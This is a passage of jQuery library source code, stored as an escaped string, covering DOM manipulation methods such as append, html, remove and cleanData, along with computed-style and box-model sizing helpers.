&&\n\t\t\t\t\t\t!dataPriv.access( node, \"globalEval\" ) &&\n\t\t\t\t\t\tjQuery.contains( doc, node ) ) {\n\n\t\t\t\t\t\tif ( node.src && ( node.type || \"\" ).toLowerCase()  !== \"module\" ) {\n\n\t\t\t\t\t\t\t// Optional AJAX dependency, but won't run scripts if not present\n\t\t\t\t\t\t\tif ( jQuery._evalUrl && !node.noModule ) {\n\t\t\t\t\t\t\t\tjQuery._evalUrl( node.src, {\n\t\t\t\t\t\t\t\t\tnonce: node.nonce || node.getAttribute( \"nonce\" )\n\t\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tDOMEval( node.textContent.replace( rcleanScript, \"\" ), node, doc );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn collection;\n}\n\nfunction remove( elem, selector, keepData ) {\n\tvar node,\n\t\tnodes = selector ? jQuery.filter( selector, elem ) : elem,\n\t\ti = 0;\n\n\tfor ( ; ( node = nodes[ i ] ) != null; i++ ) {\n\t\tif ( !keepData && node.nodeType === 1 ) {\n\t\t\tjQuery.cleanData( getAll( node ) );\n\t\t}\n\n\t\tif ( node.parentNode ) {\n\t\t\tif ( keepData && isAttached( node ) ) {\n\t\t\t\tsetGlobalEval( getAll( node, \"script\" ) );\n\t\t\t}\n\t\t\tnode.parentNode.removeChild( node );\n\t\t}\n\t}\n\n\treturn elem;\n}\n\njQuery.extend( {\n\thtmlPrefilter: function( html ) {\n\t\treturn html.replace( rxhtmlTag, \"<$1></$2>\" );\n\t},\n\n\tclone: function( elem, dataAndEvents, deepDataAndEvents ) {\n\t\tvar i, l, srcElements, destElements,\n\t\t\tclone = elem.cloneNode( true ),\n\t\t\tinPage = isAttached( elem );\n\n\t\t// Fix IE cloning issues\n\t\tif ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&\n\t\t\t\t!jQuery.isXMLDoc( elem ) ) {\n\n\t\t\t// We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2\n\t\t\tdestElements = getAll( clone );\n\t\t\tsrcElements = getAll( elem );\n\n\t\t\tfor ( i = 0, l = srcElements.length; i < l; i++ ) {\n\t\t\t\tfixInput( srcElements[ i ], destElements[ i ] );\n\t\t\t}\n\t\t}\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( dataAndEvents ) {\n\t\t\tif ( deepDataAndEvents ) {\n\t\t\t\tsrcElements = srcElements || getAll( elem );\n\t\t\t\tdestElements = destElements || getAll( clone );\n\n\t\t\t\tfor ( i = 0, l = srcElements.length; i < l; i++ ) {\n\t\t\t\t\tcloneCopyEvent( srcElements[ i ], destElements[ i ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcloneCopyEvent( elem, clone );\n\t\t\t}\n\t\t}\n\n\t\t// Preserve script evaluation history\n\t\tdestElements = getAll( clone, \"script\" );\n\t\tif ( destElements.length > 0 ) {\n\t\t\tsetGlobalEval( destElements, !inPage && getAll( elem, \"script\" ) );\n\t\t}\n\n\t\t// Return the cloned set\n\t\treturn clone;\n\t},\n\n\tcleanData: function( elems ) {\n\t\tvar data, elem, type,\n\t\t\tspecial = jQuery.event.special,\n\t\t\ti = 0;\n\n\t\tfor ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {\n\t\t\tif ( acceptData( elem ) ) {\n\t\t\t\tif ( ( data = elem[ dataPriv.expando ] ) ) {\n\t\t\t\t\tif ( data.events ) {\n\t\t\t\t\t\tfor ( type in data.events ) {\n\t\t\t\t\t\t\tif ( special[ type ] ) {\n\t\t\t\t\t\t\t\tjQuery.event.remove( elem, type );\n\n\t\t\t\t\t\t\t// This is a shortcut to avoid jQuery.event.remove's overhead\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tjQuery.removeEvent( elem, type, data.handle );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Support: Chrome <=35 - 45+\n\t\t\t\t\t// Assign undefined instead of using delete, see Data#remove\n\t\t\t\t\telem[ dataPriv.expando ] = undefined;\n\t\t\t\t}\n\t\t\t\tif ( elem[ dataUser.expando ] ) {\n\n\t\t\t\t\t// Support: Chrome <=35 - 45+\n\t\t\t\t\t// Assign undefined instead of using delete, see Data#remove\n\t\t\t\t\telem[ dataUser.expando ] = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n} );\n\njQuery.fn.extend( {\n\tdetach: function( selector ) {\n\t\treturn remove( this, selector, true );\n\t},\n\n\tremove: function( selector ) {\n\t\treturn remove( this, selector );\n\t},\n\n\ttext: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\treturn value === undefined ?\n\t\t\t\tjQuery.text( this ) :\n\t\t\t\tthis.empty().each( function() {\n\t\t\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\t\t\tthis.textContent = value;\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t}, null, value, arguments.length );\n\t},\n\n\tappend: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.appendChild( elem );\n\t\t\t}\n\t\t} );\n\t},\n\n\tprepend: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.insertBefore( elem, target.firstChild );\n\t\t\t}\n\t\t} );\n\t},\n\n\tbefore: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t}\n\t\t} );\n\t},\n\n\tafter: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t}\n\t\t} );\n\t},\n\n\tempty: function() {\n\t\tvar elem,\n\t\t\ti = 0;\n\n\t\tfor ( ; ( elem = this[ i ] ) != null; i++ ) {\n\t\t\tif ( elem.nodeType === 1 ) {\n\n\t\t\t\t// Prevent memory leaks\n\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\n\t\t\t\t// Remove any remaining nodes\n\t\t\t\telem.textContent = \"\";\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tclone: function( dataAndEvents, deepDataAndEvents ) {\n\t\tdataAndEvents = dataAndEvents == null ? false : dataAndEvents;\n\t\tdeepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;\n\n\t\treturn this.map( function() {\n\t\t\treturn jQuery.clone( this, dataAndEvents, deepDataAndEvents );\n\t\t} );\n\t},\n\n\thtml: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\tvar elem = this[ 0 ] || {},\n\t\t\t\ti = 0,\n\t\t\t\tl = this.length;\n\n\t\t\tif ( value === undefined && elem.nodeType === 1 ) {\n\t\t\t\treturn elem.innerHTML;\n\t\t\t}\n\n\t\t\t// See if we can take a shortcut and just use innerHTML\n\t\t\tif ( typeof value === \"string\" && !rnoInnerhtml.test( value ) &&\n\t\t\t\t!wrapMap[ ( rtagName.exec( value ) || [ \"\", \"\" ] )[ 1 ].toLowerCase() ] ) {\n\n\t\t\t\tvalue = jQuery.htmlPrefilter( value );\n\n\t\t\t\ttry {\n\t\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\t\telem = this[ i ] || {};\n\n\t\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\t\t\t\t\t\t\telem.innerHTML = value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\telem = 0;\n\n\t\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t\t} catch ( e ) {}\n\t\t\t}\n\n\t\t\tif ( elem ) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\t\t}, null, value, arguments.length );\n\t},\n\n\treplaceWith: function() {\n\t\tvar ignored = [];\n\n\t\t// Make the changes, replacing each non-ignored context element with the new content\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tvar parent = this.parentNode;\n\n\t\t\tif ( jQuery.inArray( this, ignored ) < 0 ) {\n\t\t\t\tjQuery.cleanData( getAll( this ) );\n\t\t\t\tif ( parent ) {\n\t\t\t\t\tparent.replaceChild( elem, this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Force callback invocation\n\t\t}, ignored );\n\t}\n} );\n\njQuery.each( {\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar elems,\n\t\t\tret = [],\n\t\t\tinsert = jQuery( selector ),\n\t\t\tlast = insert.length - 1,\n\t\t\ti = 0;\n\n\t\tfor ( ; i <= last; i++ ) {\n\t\t\telems = i === last ? this : this.clone( true );\n\t\t\tjQuery( insert[ i ] )[ original ]( elems );\n\n\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t// .get() because push.apply(_, arraylike) throws on ancient WebKit\n\t\t\tpush.apply( ret, elems.get() );\n\t\t}\n\n\t\treturn this.pushStack( ret );\n\t};\n} );\nvar rnumnonpx = new RegExp( \"^(\" + pnum + \")(?!px)[a-z%]+$\", \"i\" );\n\nvar getStyles = function( elem ) {\n\n\t\t// Support: IE <=11 only, Firefox <=30 (#15098, #14150)\n\t\t// IE throws on elements created in popups\n\t\t// FF meanwhile throws on frame elements through \"defaultView.getComputedStyle\"\n\t\tvar view = elem.ownerDocument.defaultView;\n\n\t\tif ( !view || !view.opener ) {\n\t\t\tview = window;\n\t\t}\n\n\t\treturn view.getComputedStyle( elem );\n\t};\n\nvar rboxStyle = new RegExp( cssExpand.join( \"|\" ), \"i\" );\n\n\n\n( function() {\n\n\t// Executing both pixelPosition & boxSizingReliable tests require only one layout\n\t// so they're executed at the same time to save the second computation.\n\tfunction computeStyleTests() {\n\n\t\t// This is a singleton, we need to execute it only once\n\t\tif ( !div ) {\n\t\t\treturn;\n\t\t}\n\n\t\tcontainer.style.cssText = \"position:absolute;left:-11111px;width:60px;\" +\n\t\t\t\"margin-top:1px;padding:0;border:0\";\n\t\tdiv.style.cssText =\n\t\t\t\"position:relative;display:block;box-sizing:border-box;overflow:scroll;\" +\n\t\t\t\"margin:auto;border:1px;padding:1px;\" +\n\t\t\t\"width:60%;top:1%\";\n\t\tdocumentElement.appendChild( container ).appendChild( div );\n\n\t\tvar divStyle = window.getComputedStyle( div );\n\t\tpixelPositionVal = divStyle.top !== \"1%\";\n\n\t\t// Support: Android 4.0 - 4.3 only, Firefox <=3 - 44\n\t\treliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12;\n\n\t\t// Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3\n\t\t// Some styles come back with percentage values, even though they shouldn't\n\t\tdiv.style.right = \"60%\";\n\t\tpixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36;\n\n\t\t// Support: IE 9 - 11 only\n\t\t// Detect misreporting of content dimensions for box-sizing:border-box elements\n\t\tboxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36;\n\n\t\t// Support: IE 9 only\n\t\t// Detect overflow:scroll screwiness (gh-3699)\n\t\t// Support: Chrome <=64\n\t\t// Don't get tricked when zoom affects offsetWidth (gh-4029)\n\t\tdiv.style.position = \"absolute\";\n\t\tscrollboxSizeVal = roundPixelMeasures( div.offsetWidth / 3 ) === 12;\n\n\t\tdocumentElement.removeChild( container );\n\n\t\t// Nullify the div so it wouldn't be stored in the memory and\n\t\t// it will also be a sign that checks already performed\n\t\tdiv = null;\n\t}\n\n\tfunction roundPixelMeasures( measure ) {\n\t\treturn Math.round( parseFloat( measure ) );\n\t}\n\n\tvar pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal,\n\t\treliableMarginLeftVal,\n\t\tcontainer = document.createElement( \"div\" ),\n\t\tdiv = document.createElement( \"div\" );\n\n\t// Finish early in limited (non-browser) environments\n\tif ( !div.style ) {\n\t\treturn;\n\t}\n\n\t// Support: IE <=9 - 11 only\n\t// Style of cloned element affects source element cloned (#8908)\n\tdiv.style.backgroundClip = \"content-box\";\n\tdiv.cloneNode( true ).style.backgroundClip = \"\";\n\tsupport.clearCloneStyle = div.style.backgroundClip === \"content-box\";\n\n\tjQuery.extend( support, {\n\t\tboxSizingReliable: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn boxSizingReliableVal;\n\t\t},\n\t\tpixelBoxStyles: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn pixelBoxStylesVal;\n\t\t},\n\t\tpixelPosition: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn pixelPositionVal;\n\t\t},\n\t\treliableMarginLeft: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn reliableMarginLeftVal;\n\t\t},\n\t\tscrollboxSize: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn scrollboxSizeVal;\n\t\t}\n\t} );\n} )();\n\n\nfunction curCSS( elem, name, computed ) {\n\tvar width, minWidth, maxWidth, ret,\n\n\t\t// Support: Firefox 51+\n\t\t// Retrieving style before computed somehow\n\t\t// fixes an issue with getting wrong values\n\t\t// on detached elements\n\t\tstyle = elem.style;\n\n\tcomputed = computed || getStyles( elem );\n\n\t// getPropertyValue is needed for:\n\t//   .css('filter') (IE 9 only, #12537)\n\t//   .css('--customProperty) (#3144)\n\tif ( computed ) {\n\t\tret = computed.getPropertyValue( name ) || computed[ name ];\n\n\t\tif ( ret === \"\" && !isAttached( elem ) ) {\n\t\t\tret = jQuery.style( elem, name );\n\t\t}\n\n\t\t// A tribute to the \"awesome hack by Dean Edwards\"\n\t\t// Android Browser returns percentage for some values,\n\t\t// but width seems to be reliably pixels.\n\t\t// This is against the CSSOM draft spec:\n\t\t// https://drafts.csswg.org/cssom/#resolved-values\n\t\tif ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) {\n\n\t\t\t// Remember the original values\n\t\t\twidth = style.width;\n\t\t\tminWidth = style.minWidth;\n\t\t\tmaxWidth = style.maxWidth;\n\n\t\t\t// Put in the new values to get a computed value out\n\t\t\tstyle.minWidth = style.maxWidth = style.width = ret;\n\t\t\tret = computed.width;\n\n\t\t\t// Revert the changed values\n\t\t\tstyle.width = width;\n\t\t\tstyle.minWidth = minWidth;\n\t\t\tstyle.maxWidth = maxWidth;\n\t\t}\n\t}\n\n\treturn ret !== undefined ?\n\n\t\t// Support: IE <=9 - 11 only\n\t\t// IE returns zIndex value as an integer.\n\t\tret + \"\" :\n\t\tret;\n}\n\n\nfunction addGetHookIf( conditionFn, hookFn ) {\n\n\t// Define the hook, we'll check on the first run if it's really needed.\n\treturn {\n\t\tget: function() {\n\t\t\tif ( conditionFn() ) {\n\n\t\t\t\t// Hook not needed (or it's not possible to use it due\n\t\t\t\t// to missing dependency), remove it.\n\t\t\t\tdelete this.get;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Hook needed; redefine it so that the support test is not executed again.\n\t\t\treturn ( this.get = hookFn ).apply( this, arguments );\n\t\t}\n\t};\n}\n\n\nvar cssPrefixes = [ \"Webkit\", \"Moz\", \"ms\" ],\n\temptyStyle = document.createElement( \"div\" ).style,\n\tvendorProps = {};\n\n// Return a vendor-prefixed property or undefined\nfunction vendorPropName( name ) {\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}\n\n// Return a potentially-mapped jQuery.cssProps or vendor prefixed property\nfunction finalPropName( name ) {\n\tvar final = jQuery.cssProps[ name ] || vendorProps[ name ];\n\n\tif ( final ) {\n\t\treturn final;\n\t}\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\treturn vendorProps[ name ] = vendorPropName( name ) || name;\n}\n\n\nvar\n\n\t// Swappable if display is none or starts with table\n\t// except \"table\", \"table-cell\", or \"table-caption\"\n\t// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display\n\trdisplayswap = /^(none|table(?!-c[ea]).+)/,\n\trcustomProp = /^--/,\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display: \"block\" },\n\tcssNormalTransform = {\n\t\tletterSpacing: \"0\",\n\t\tfontWeight: \"400\"\n\t};\n\nfunction setPositiveNumber( elem, value, subtract ) {\n\n\t// Any relative (+/-) values have already been\n\t// normalized at this point\n\tvar matches = rcssNum.exec( value );\n\treturn matches ?\n\n\t\t// Guard against undefined \"subtract\", e.g., when used as in cssHooks\n\t\tMath.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || \"px\" ) :\n\t\tvalue;\n}\n\nfunction boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) {\n\tvar i = dimension === \"width\" ? 1 : 0,\n\t\textra = 0,\n\t\tdelta = 0;\n\n\t// Adjustment may not be necessary\n\tif ( box === ( isBorderBox ? \"border\" : \"content\" ) ) {\n\t\treturn 0;\n\t}\n\n\tfor ( ; i < 4; i += 2 ) {\n\n\t\t// Both box models exclude margin\n\t\tif ( box === \"margin\" ) {\n\t\t\tdelta += jQuery.css( elem, box + cssExpand[ i ], true, styles );\n\t\t}\n\n\t\t// If we get here with a content-box, we're seeking \"padding\" or \"border\" or \"margin\"\n\t\tif ( !isBorderBox ) {\n\n\t\t\t// Add padding\n\t\t\tdelta += jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\n\t\t\t// For \"border\" or \"margin\", add border\n\t\t\tif ( box !== \"padding\" ) {\n\t\t\t\tdelta += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\n\t\t\t// But still keep track of it otherwise\n\t\t\t} else {\n\t\t\t\textra += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\n\t\t// If we get here with a border-box (content + padding + border), we're seeking \"content\" or\n\t\t// \"padding\" or \"margin\"\n\t\t} else {\n\n\t\t\t// For \"content\", subtract padding\n\t\t\tif ( box === \"content\" ) {\n\t\t\t\tdelta -= jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\t\t\t}\n\n\t\t\t// For \"content\" or \"padding\", subtract border\n\t\t\tif ( box !== \"margin\" ) {\n\t\t\t\tdelta -= jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\t\t}\n\t}\n\n\t// Account for positive content-box scroll gutter when requested by providing computedVal\n\tif ( !isBorderBox && computedVal >= 0 ) {\n\n\t\t// offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border\n\t\t// Assuming integer scroll gutter, subtract the rest and round down\n\t\tdelta += Math.max( 0, Math.ceil(\n\t\t\telem[ \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -\n\t\t\tcomputedVal -\n\t\t\tdelta -\n\t\t\textra -\n\t\t\t0.5\n\n\t\t// If offsetWidth/offsetHeight is unknown, then we can't determine content-box scroll gutter\n\t\t// Use an explicit zero to avoid NaN (gh-3964)\n\t\t) ) || 0;\n\t}\n\n\treturn delta;\n}\n\nfunction getWidthOrHeight( elem, dimension, extra ) {\n\n\t// Start with computed style\n\tvar styles = getStyles( elem ),\n\n\t\t// To avoid forcing a reflow, only fetch boxSizing if we need it (gh-4322).\n\t\t// Fake content-box until we know it's needed to know the true value.\n\t\tboxSizingNeeded = !support.boxSizingReliable() || extra,\n\t\tisBorderBox = boxSizingNeeded &&\n\t\t\tjQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n\t\tvalueIsBorderBox = isBorderBox,\n\n\t\tval = curCSS( elem, dimension, styles ),\n\t\toffsetProp = \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 );\n\n\t// Support: Firefox <=54\n\t// Return a confounding non-pixel value or feign ignorance, as appropriate.\n\tif ( rnumnonpx.test( val ) ) {\n\t\tif ( !extra ) {\n\t\t\treturn val;\n\t\t}\n\t\tval = \"auto\";\n\t}\n\n\n\t// Fall back to offsetWidth/offsetHeight when value is \"auto\"\n\t// This happens for inline elements with no explicit setting (gh-3571)\n\t// Support: Android <=4.1 - 4.3 only\n\t// Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602)\n\t// Support: IE 9-11 only\n\t// Also use offsetWidth/offsetHeight for when box sizing is unreliable\n\t// We use getClientRects() to check for hidden/disconnected.\n\t// In those cases, the computed value can be trusted to be border-box\n\tif ( ( !support.boxSizingReliable() && isBorderBox ||\n\t\tval === \"auto\" ||\n\t\t!parseFloat( val ) && jQuery.css( elem, \"display\", false, styles ) === \"inline\" ) &&\n\t\telem.getClientRects().length ) {\n\n\t\tisBorderBox = jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\";\n\n\t\t// Where available, offsetWidth/offsetHeight approximate border box dimensions.\n\t\t// Where not available (e.g., SVG), assume unreliable box-sizing and interpret the\n\t\t// retrieved value as a content box dimension.\n\t\tvalueIsBorderBox = offsetProp in elem;\n\t\tif ( valueIsBorderBox ) {\n\t\t\tval = elem[ offsetProp ];\n\t\t}\n\t}\n\n\t// Normalize \"\" and auto\n\tval = parseFloat( val ) || 0;\n\n\t// Adjust for the element's box model\n\treturn ( val +\n\t\tboxModelAdjustment(\n\t\t\telem,\n\t\t\tdimension,\n\t\t\textra || ( isBorderBox ? \"border\" : \"content\" ),\n\t\t\tvalueIsBorderBox,\n\t\t\tstyles,\n\n\t\t\t// Provide the current computed size to request scroll gutter calculation (gh-3589)\n\t\t\tval\n\t\t)\n\t) + \"px\";\n}\n\njQuery.extend( {\n\n\t// Add in style property hooks for overriding the default\n\t// behavior of getting and setting a style property\n\tcssHooks: {\n\t\topacity: {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\tif ( computed ) {\n\n\t\t\t\t\t// We should always get a number back from opacity\n\t\t\t\t\tvar ret = curCSS( elem, \"opacity\" );\n\t\t\t\t\treturn ret === \"\" ? \"1\" : ret;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// Don't automatically add \"px\" to these possibly-unitless properties\n\tcssNumber: {\n\t\t\"animationIterationCount\": true,\n\t\t\"columnCount\": true,\n\t\t\"fillOpacity\": true,\n\t\t\"flexGrow\": true,\n\t\t\"flexShrink\": true,\n\t\t\"fontWeight\": true,\n\t\t\"gridArea\": true,\n\t\t\"gridColumn\": true,\n\t\t\"gridColumnEnd\": true,\n\t\t\"gridColumnStart\": true,\n\t\t\"gridRow\": true,\n\t\t\"gridRowEnd\": true,\n\t\t\"gridRowStart\": true,\n\t\t\"lineHeight\": true,\n\t\t\"opacity\": true,\n\t\t\"order\": true,\n\t\t\"orphans\": true,\n\t\t\"widows\": true,\n\t\t\"zIndex\": true,\n\t\t\"zoom\": true\n\t},\n\n\t// Add in properties whose names you wish to fix before\n\t// setting or getting the value\n\tcssProps: {},\n\n\t// Get and set the style property on a DOM Node\n\tstyle: function( elem, name, value, extra ) {\n\n\t\t// Don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Make sure that we're working with the right name\n\t\tvar ret, type, hooks,\n\t\t\torigName = camelCase( name ),\n\t\t\tisCustomProp = rcustomProp.test( name ),\n\t\t\tstyle = elem.style;\n\n\t\t// Make sure that we're working with the right name. We don't\n\t\t// want to query the value if it is a CSS custom property\n\t\t// since they are user-defined.\n\t\tif ( !isCustomProp ) {\n\t\t\tname = finalPropName( origName );\n\t\t}\n\n\t\t// Gets hook for the prefixed version, then unprefixed version\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// Check if we're setting a value\n\t\tif ( value !== undefined ) {\n\t\t\ttype = typeof value;\n\n\t\t\t// Convert \"+=\" or \"-=\" to relative numbers (#7345)\n\t\t\tif ( type === \"string\" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {\n\t\t\t\tvalue = adjustCSS( elem, name, ret );\n\n\t\t\t\t// Fixes bug #9237\n\t\t\t\ttype = \"number\";\n\t\t\t}\n\n\t\t\t// Make sure that null and NaN values aren't set (#7116)\n\t\t\tif ( value == null || value !== value ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// If a number was passed in, add the unit (except for certain CSS properties)\n\t\t\t// The isCustomProp check can be removed in jQuery 4.0 when we only auto-append\n\t\t\t// \"px\" to a few hardcoded values.\n\t\t\tif ( type === \"number\" && !isCustomProp ) {\n\t\t\t\tvalue += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? \"\" : \"px\" );\n\t\t\t}\n\n\t\t\t// background-* props affect original clone's values\n\t\t\tif ( !support.clearCloneStyle && value === \"\" && name.indexOf( \"background\" ) === 0 ) {\n\t\t\t\tstyle[ name ] = \"inherit\";\n\t\t\t}\n\n\t\t\t// If a hook was provided, use that value, otherwise just set the specified value\n\t\t\tif ( !hooks || !( \"set\" in hooks ) ||\n\t\t\t\t( value = hooks.set( elem, value, extra ) ) !== undefined ) {\n\n\t\t\t\tif ( isCustomProp ) {\n\t\t\t\t\tstyle.setProperty( name, value );\n\t\t\t\t} else {\n\t\t\t\t\tstyle[ name ] = value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\n\t\t\t// If a hook was provided get the non-computed value from there\n\t\t\tif ( hooks && \"get\" in hooks &&\n\t\t\t\t( ret = hooks.get( elem, false, extra ) ) !== undefined ) {\n\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\t// Otherwise just get the value from the style object\n\t\t\treturn style[ name ];\n\t\t}\n\t},\n\n\tcss: function( elem, name, extra, styles ) {\n\t\tvar val, num, hooks,\n\t\t\torigName = camelCase( name ),\n\t\t\tisCustomProp = rcustomProp.test( name );\n\n\t\t// Make sure that we're working with the right name. We don't\n\t\t// want to modify the value if it is a CSS custom property\n\t\t// since they are user-defined.\n\t\tif ( !isCustomProp ) {\n\t\t\tname = finalPropName( origName );\n\t\t}\n\n\t\t// Try prefixed name followed by the unprefixed name\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// If a hook was provided get the computed value from there\n\t\tif ( hooks && \"get\" in hooks ) {\n\t\t\tval = hooks.get( elem, true, extra );\n\t\t}\n\n\t\t// Otherwise, if a way to get the computed value exists, use that\n\t\tif ( val === undefined ) {\n\t\t\tval = curCSS( elem, name, styles );\n\t\t}\n\n\t\t// Convert \"normal\" to computed value\n\t\tif ( val === \"normal\" && name in cssNormalTransform ) {\n\t\t\tval = cssNormalTransform[ name ];\n\t\t}\n\n\t\t// Make numeric if forced or a qualifier was provided and val looks numeric\n\t\tif ( extra === \"\" || extra ) {\n\t\t\tnum = parseFloat( val );\n\t\t\treturn extra === true || isFinite( num ) ? num || 0 : val;\n\t\t}\n\n\t\treturn val;\n\t}\n} );\n\njQuery.each( [ \"height\", \"width\" ], function( i, dimension ) {\n\tjQuery.cssHooks[ dimension ] = {\n\t\tget: function( elem, computed, extra ) {\n\t\t\tif ( computed ) {\n\n\t\t\t\t// Certain elements can have dimension info if we invisibly show them\n\t\t\t\t// but it must have a current display style that would benefit\n\t\t\t\treturn rdisplayswap.test( jQuery.css( elem, \"display\" ) ) &&\n\n\t\t\t\t\t// Support: Safari 8+\n\t\t\t\t\t// Table columns in Safari have non-zero offsetWidth & zero\n\t\t\t\t\t// getBoundingClientRect().width unless display is changed.\n\t\t\t\t\t// Support: IE <=11 only\n\t\t\t\t\t// Running getBoundingClientRect on a disconnected node\n\t\t\t\t\t// in IE throws an error.\n\t\t\t\t\t( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ?\n\t\t\t\t\t\tswap( elem, cssShow, function() {\n\t\t\t\t\t\t\treturn getWidthOrHeight( elem, dimension, extra );\n\t\t\t\t\t\t} ) :\n\t\t\t\t\t\tgetWidthOrHeight( elem, dimension, extra );\n\t\t\t}\n\t\t},\n\n\t\tset: function( elem, value, extra ) {\n\t\t\tvar matches,\n\t\t\t\tstyles = getStyles( elem ),\n\n\t\t\t\t// Only read styles.position if the test has a chance to fail\n\t\t\t\t// to avoid forcing a reflow.\n\t\t\t\tscrollboxSizeBuggy = !support.scrollboxSize() &&\n\t\t\t\t\tstyles.position === \"absolute\",\n\n\t\t\t\t// To avoid forcing a reflow, only fetch boxSizing if we need it (gh-3991)\n\t\t\t\tboxSizingNeeded = scrollboxSizeBuggy || extra,\n\t\t\t\tisBorderBox = boxSizingNeeded &&\n\t\t\t\t\tjQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n\t\t\t\tsubtract = extra ?\n\t\t\t\t\tboxModelAdjustment(\n\t\t\t\t\t\telem,\n\t\t\t\t\t\tdimension,\n\t\t\t\t\t\textra,\n\t\t\t\t\t\tisBorderBox,\n\t\t\t\t\t\tstyles\n\t\t\t\t\t) 